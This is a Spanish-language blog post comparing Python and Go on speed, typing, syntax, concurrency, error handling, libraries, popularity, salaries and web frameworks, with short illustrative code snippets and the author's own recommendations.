View this post on Instagram

Ya había explicado un poco las diferencias entre un lenguaje interpretado y uno compilado en mi comparación de python vs javascript , por lo que si deseas refrescar un poco tu memoria dirígete ahí.

Ambos lenguajes se caracterizan porque la producción de código en ellos es rápida.

La compilación de go es extremadamente rápida y, aunque su ejecución podría ser ligeramente más lenta que si usaras C++ o el difícil de aprender Rust , el desarrollo de productos y MVPs debería tomar menos tiempo que con esos lenguajes.

¿Cuál es más rápido? Python vs Golang

La comparación aquí va a tornarse algo injusta, pero la haré de todas formas: Go es descomunalmente más rápido que Python. La diferencia anterior se explica porque Go es compilado, mientras que Python interpretado.

View this post on Instagram

Rendimiento Python vs Go en fibonacci por recursión

¿Qué tan rápido es go comparado con python? He hecho una pequeña prueba usando multitime para medir el tiempo que le toma calcular el n número de fibonacci a cada lenguaje, 10 repeticiones por cada prueba, los resultados están en segundos (menor es mejor) nota la diferencia tan radical en el rendimiento de ambos lenguajes.

Go, al ser un lenguaje compilado, es descomunalmente más rápido que Python

Go es un lenguaje polémico, mi opinión

Go es un lenguaje bastante polémico que desencadena discusiones bastante acaloradas. Te dejo algunos ejemplos a continuación de lo variadas que son las opiniones:

Las quejas van desde la simpleza del lenguaje, la afirmación de Robert Pike sobre que es un lenguaje para programadores “no tan brillantes”, hasta la, (ya solucionada) falta de generics.

¿Mi opinión? Yo creo que ciertamente no es el lenguaje mejor diseñado (prefiero Rust) desde punto de vista purista y estético. Entonces ¿por qué usar el lenguaje del roedor azul? Por su simpleza; Google creó el lenguaje basándose en una serie de problemas bastante concretos; Go es la solución a estos problemas.

Go es bueno para un par de cosas que los programadores suelen obviar, la parte de negocios:

Iteración. Su rápida velocidad de compilación y facilidad de escritura permiten iterar más rápido que con otros lenguajes, lo que se traduce en más dinero y menos riesgo a largo plazo para el negocio.
Fácil de aprender. No, aunque a todos nos gustaría, tu empresa no va a despedir a toda el departamento para contratar programadores en Rust o C++ es más fácil capacitar a los programadores para que aprendan el lenguaje.
Paquetes y biblioteca estándar. Probablemente tu compañía no tenga el tiempo ni los recursos para que crees el código desde cero. Go cuenta con una biblioteca estándar bastante madura y que brinda una solución para la mayoría de las necesidades.

Por supuesto que esto no necesariamente es bueno desde el punto de vista de un perfil técnico, pero ya sabrás de primera mano que, en el mundo de los negocios, el dinero suele influir mucho más en las decisiones de negocios que las buenas prácticas en el código.

¿Qué tan antiguo es Go?

Python fue creado por Guido Van Rossum a finales de los 80’s. Go, por otro lado, es un lenguaje mucho más joven que Python, lanzado veinte años después, en 2009, y diseñado inicialmente por Robert Griesemer, Rob Pike y Ken Thompson.

Tipado en ambos lenguajes

¿Cómo es el tipado en go?

Go es un lenguaje compilado con tipado fuerte, que requiere que especifiquemos el tipo de dato al momento de crear una variable. Sin embargo, también tiene una manera de dejar que el compilador intuya el tipo de variable, bajo ciertas condiciones, de manera automática.

// go
var tipoExplicito int = 1
// Solo dentro del scope de una función
tipoImplicitoDentroDeFuncion := 1
// Todo bien hasta aquí, pero ahora fallará.
tipoExplicito = 1.5
// Error: constant 1.5 truncated to integer

¿Cómo es el tipado en Python?

Python es un lenguaje interpretado fuértemente tipado; no requiere que especifiquemos el tipo de variable. Además podemos cambiar de tipo a una variable sin problema en cualquier momento. Implementa tipado opcional a partir de su versión 3.5 pero no son forzados por el intérprete.

# Python
numero = [1]
numero = {1:1}
numero = 1
numero = "1"
 # no hubo error en ningún caso
numero + 2
# TypeError: can only concatenate str (not "int") to str

Comparación de sintaxis de lenguaje, Python vs Go

Sintaxis básica de go

Go basa fuertemente su sintaxis en C y toma algunas características de lenguajes como Python para favorecer la legibilidad de su código. Destaca en que no tiene ciclos while, ni do while. Y, a diferencia de Python, sí usa llaves.

El punto de entrada de una aplicación es su función main.

Una característica interesante respecto a la sintaxis es que el compilador no se ejecutará si detecta variables sin usar o errores en el acomodo de las llaves de cada función. Por lo que el compilador de go fuerza a escribir código siguiendo un conjunto de convenciones o buenas prácticas.

//go
package main
    
import "fmt"
var tipoExplicito int = 123

func suma(a, b int) (int, int){
    return a, b
}
   
func bucle() {
  var array [10]int
  for i:= 0; i < 10; i++ {
    array[i] = i
    }
  }

func bucleInfinito() {
    for {}
    }

// main es el punto de ejecución de un programa

func main() {
    tipoImplicito := 23
    // Este codigo no compilará porque tenemos variables sin usar y otros errores
    fmt.Println("Hello world")
}

Otra cosa importante, algunos desarrolladores dicen que go es orientado a objetos, mientras que otros afirman rotundamente que no. Lo cierto es que go no cuenta con soporte directo para clases, sino que usa structs que emulan el polimorfismo y la encapsulación y otras características de la OOP.

//go
type Persona struct {
    Nombre string
    Sexo string
}

// Todos los campos de Persona pasan a Profesor
type Profesor struct {
    Persona
}

// Para poder llamar a unProfesor.Saludar()
func (p *Profesor) Saludar(){
    fmt.Println("Hola")
}

Sintaxis básica de Python

La sintaxis de Python es súper limpia, enfocada en la legibilidad del código; no usa llaves para separar el código, sino saltos de linea e identaciones obligatorias. Y, a diferencia del compilador de Go, el intérprete de Python no es tan estricto.

Python está fuertemente orientado a objetos y vas a tener todas las capacidades que tiene un lenguaje orientado a objetos, exceptuando los scopes privados, públicos y protegidos característicos de Java, C++ y otros lenguajes.


if True: 
    return "resultado"

print("También puedes incluir punto y coma al final, pero la convención es no hacerlo")

class MiClase:
    def __init__(self, propiedad):
        self.propiedad = propiedad

def funcion(argumento_por_defecto = "predeterminado", *args, **kwargs):
    mi_lista_de_argumentos = args
    mi_diccionario_de_argumentos = kwargs
    return mi_list_de_argumentos

try:
  do_something()
except:
  print("An exception occurred")

Capacidad de asincronismo, Python vs Go

Asincronismo en go

Uno de los puntos fuertes de este lenguaje es la creación de concurrencia por medio de sus goroutines, o gorutinas y canales . Usarlas es bastante sencillo, basta con añadir la palabra go antes de una función. Añadimos un contador con Add y lo removemos con Done. Cuando nuestro grupo de espera, wg, tenga cero contadores, terminará la ejecución.

Sus capacidades de concurrencia lo hacen ideal para servidores web.

var wg sync.WaitGroup
wg.Add(1)
go func() {
  wg.Done()
}()
wg.Wait()

Asincronismo en Python

En Python las corutinas no aparecieron hasta su versión 3.5. Las funciones asíncronas se ejecutan en un hilo sencillo y únicamente cambian a otra corrutina cuando una operación asíncrona es encontrada.

Se usa la misma sintaxis de async y await. Para esto usamos la librería asyncio, reunimos todas las tareas a ejecutar con gather y las ejecutamos con run.

import asyncio
import time

async def wait_two_second(name):
    await asyncio.sleep(3)
    print(name)


async def main():
    await asyncio.gather(wait_two_second("first"), wait_two_second("second"), wait_two_second("third"))

if __name__ == "__main__":
    asyncio.run(main())

Este script tardará tres segundos en ejecutarse.

Manejo de errores

El manejo de errores es algo que es bastante constante en los lenguajes, pero en el caso de go nos encontramos con que los creadores optaron por abandonar la convención y puede ser algo diferente a lo que estás acostumbrado.

El horrible manejo de errores en go

Go tiene una manera bastante peculiar de manejar los errores. No cuenta con bloques try y except (o su equivalente en otros lenguajes). Sino que la ejecución de una función puede retornar un error como un segundo valor de retorno, el cual podemos obtener y verificar para saber si ha ocurrido un error.

message, err := requestToApiEndpoint(")
    if err != nil {
        log.Fatal(err)
    }

El elegante manejo de errores en Python

Python maneja el clásico patrón de try…except que manejan la mayoría de los lenguajes de programación, donde los errores son capturados por el bloque except y procesados a continuación.

try:
  do_something()
except:
  print("An exception occurred")

¿Qué lenguaje es peor Python vs Go?

Desventajas y mal diseño de go

Go es muy “opinionated”. Tiene posturas muy rígidas sobre ciertas cosas, como el uso de todas las variables, pero deja otras tantas al buen manejo por parte del usuario, como los errores causados por punteros o pointers nulos. Se podría decir que es inconsistente en ese aspecto.

func olvideRevisarError() {
  resultado, err := accion()
  // Se nos olvido revisar si err es igual a nil
  print(resultado.algo)
  // runtime error:
  // panic: invalid memory address or nil pointer dereference
}

O por ejemplo el hecho de que puedes retornar tuplas, pero no puedes usarlas en otra parte del lenguaje.

 // es posible retornar algo parecido a tuplas, aunque no puedes declarar una tupla en el lenguaje
func returnTuple() {
    return 1, 2
}

No tiene valores por defecto para los argumentos de una función y tienes que recurrir a triquiñuelas para tener algo parecido

 // Esto NO existe en go
func sinValoresPredeterminados(valor=1, valor2=2){
}

El manejo de errores en Go no es muy bien recibido por muchos desarrolladores, quienes lo consideran inferior al de otros lenguajes.

El siguiente patrón será muy recurrente y se repetirá múltiples veces en tu código, violando la máxima de DRY.

if err != nil {
    return err
}

Las desventajas de Python

Entre las cosas no tan geniales de Python está la fuerte separación que ocurrió entre Python 2 y Python 3, dejando muchas librerías desactualizadas o con un montón de parches para hacer compatible el código entre ambas versiones.

Otro aspecto bastante problemático es el uso excesivo de memoria, junto con la velocidad del lenguaje; el intérprete de Python es lento. Python está forzado de manera predeterminada a correr en un solo hilo, por su GIL , lo cual no permite el aprovechamiento total por parte de las computadoras modernas sin complicar el código.

Soporte de Go

Go, a la fecha de escritura de este artículo, requiere instalarse en el sistema ya sea de la página oficial o los repositorios.

Mientras que Python cuenta con un soporta bastante amplio, pues se encuentra instalado generalmente en todas las distribuciones de GNU/Linux y basta con que abras una terminal y teclees la palabra Python para empezar a usarlo.

Usos comunes de Python y Go

Usos comunes de Go

Go puede usarse para casi cualquier cosa pero tiene fuerte presencia en herramientas de devops, al grado de que algunos lo consideran la lengua defacto del los servidores de backend y el blockchain. Docker, Traeffik, Docker compose, Kubernetes, Terraform e InfluxDB están escritos en Go.

Los containers de docker están escritos usando go .

Traefik, docker, kubernetes, influxdb y terraform están escritos en Go.

También se han creado herramientas tan geniales como Pocketbase , un excelente ejemplo de Backend as a service y alternative open source a firebase.

Usos comunes de Python

Python es un lenguaje multipropósito, permite crear básicamente de todo, desde aplicaciones nativas con interfaz de usuario, programar redes o servidores web, inteligencia artificial, data science, desarrollo de aplicaciones web, o scripting básico.

¿Cuál lenguaje es más popular entre Python y Go?

A la fecha Python es mucho más popular que Go. Puedes observar que Go ganó popularidad entre el periodo comprendido entre 2011 y 2015, pero se estabilizó para quedar por debajo de Python.

Python es más popular que Go.

Popularidad entre Python y Go

Go es un lenguaje bastante popular entre los desarrolladores, mucho más apreciado que Javascript, pero menos querido que Python y Typescript.

En 2023 Stackoverflow reemplazó la encuesta por una donde se especifica la diferencia entre los que desean usarlo y los que ya lo han hecho y quieren continuar usándolo

¿Dónde se gana más Python o Go?

Los desarrolladores de Go suelen ganar bastante más dinero que los desarrolladores de Python. De hecho Go se encuentra dentro de los 10 lenguajes mejor pagados según la encuesta de stackoverflow del 2022.

Los programadores de Go suelen ganar más que los de Python

Baterías incluidas

Ambos lenguajes cuentan con una librería estándar con la mayoría de las necesidades básicas cubiertas, desde manejo de redes, hasta profiling de código e incluso algunas menos comunes como manejo de audio. Las baterías incluidas es una de las características que hacen a Python tan popular.

Go no se queda atrás, ha sabido entender bastante bien los beneficios de una amplia librería estándar y la ha incluido para el disfrute de sus usuarios. No es tan grande como la de Python pero cubre la mayoría de las necesidades más comunes y hace palidecer a la de otros lenguajes. Su librería estándar de testeo es impresionante, produce reportes de coverage e incluso profiling de las diferentes partes de tu código.

Puedes ver las librerías y funciones que tiene disponible en la sección standard library de su página oficial.

¿Quien tiene mejores librerías Python o Go?

Paquetes en go

Go no cuenta con un repositorio oficial de paquetes como sí lo tiene Python. Los paquetes se obtienen por medio de go get (el equivalente de pip en Python) de diferentes fuentes. Se extraña una solución estándar, tipo npm en javascript, pero puedes ver una lista de los paquetes disponibles en Awesome Go.

La importación de los modulos y paquetes en Go puede parecerte un tanto extraño, no existen las importaciones relativas, como en Python o en Javascript.

Captura de pantalla de Awesome Go

Awesome Go cuenta con enlaces a una gran cantidad de paquetes de Go ordenados por tema.

A la fecha Go cuenta con alrededor de 350,000 paquetes registrados en github. Sin embargo que estén en github no los vuelve usables, por lo que considero que el número de paquetes es mucho menor.

En resumen, la comunidad de go está creciendo, pero, por ahora, es más pequeña que la de Python.

Paquetes en Python

Python cuenta con 336,000 en pypi, muchos de ellos están disponibles para ser usados usando pip o cualquier otra herramienta de manejo de paquetes.

Python tiene una comunidad gigantesca, comparada con la de go, y tienen paquetes para casi todo lo que te puedas imaginar.

El índice de paquetes de Python Pypi

Web frameworks

Web frameworks en go

Los frameworks disponibles para Go se centran en velocidad. Dado que el lenguaje es nuevo son tecnologías relativamente jóvenes pero extremadamente rápidas y eficientes, pudiendo servir muchísimas peticiones por segundo. Si la velocidad es un requerimiento para tu proyecto, considéralos muy seriamente.

Logos de frameworks de Go

¿Qué tan rápido son los web frameworks de Go comparados con los de Python?

Mira estás pruebas de rendimiento de techempower. Las barras verdes corresponden a frameworks de Go, mientras que las barras azules son de frameworks de Python.

Encerrado en negro están las peticiones por segundo que soporta cada framework (mientras más mejor). Como puedes apreciar, Go supera a Python en rendimiento.

Los frameworks web de Go superan a los de Python en rendimiento.

Pruebas de rendimiento para frameworks de Python (morado) y Go (verde)

Web frameworks en Python

Mientras que en Python ya contamos con algunas soluciones bastante probadas, con bastante experiencia, caracterizadas por ser muy estables y con una respuesta para casi todas las necesidades de un desarrollador web y que, además, soportan sitios muy populares y con tráfico gigantesco, como pinterest o instagram.

Entre los frameworks destaca Django, uno de los frameworks favoritos de Python.

A pesar de que la mayoría de frameworks en Python son antiguos, no significa que no estén apareciendo nuevos frameworks últimamente. Fastapi , del que ya hice un tutorial también es un nuevo framework muy veloz que gana popularidad día con día.

¿Cuál lenguaje es mejor Python vs go?

En mi opinión, si necesitas estabilidad y soluciones probadas con el tiempo para tus frameworks o planeas entrar en el mundo de la inteligencia artificial, deep learning o data science, si quieres un lenguaje que tenga una curva de aprendizaje poco inclinada y una gran cantidad de paquetes disponibles que le ahorrarán código a ti y/o a tu equipo, yo me iría por Python.

En cambio, si vas muy en serio con devops y/o la velocidad y la concurrencia son características importantes para los proyectos que planeas crear y, quieres dedicarte a crear herramientas devop. Si te da igual no la curva de aprendizaje más pronunciada que tiene Go (tampoco es para tanto), comparado con Python, entonces probablemente Go te parecerá una mejor opción.

De cualquier forma ahora que sabes un poco de ambos lenguajes ya puedes tomar una decisión mucho más informada y basada en tus intenciones y situación personal. Siempre puedes aprender ambos y combinarlos para tener lo mejor de los mundos.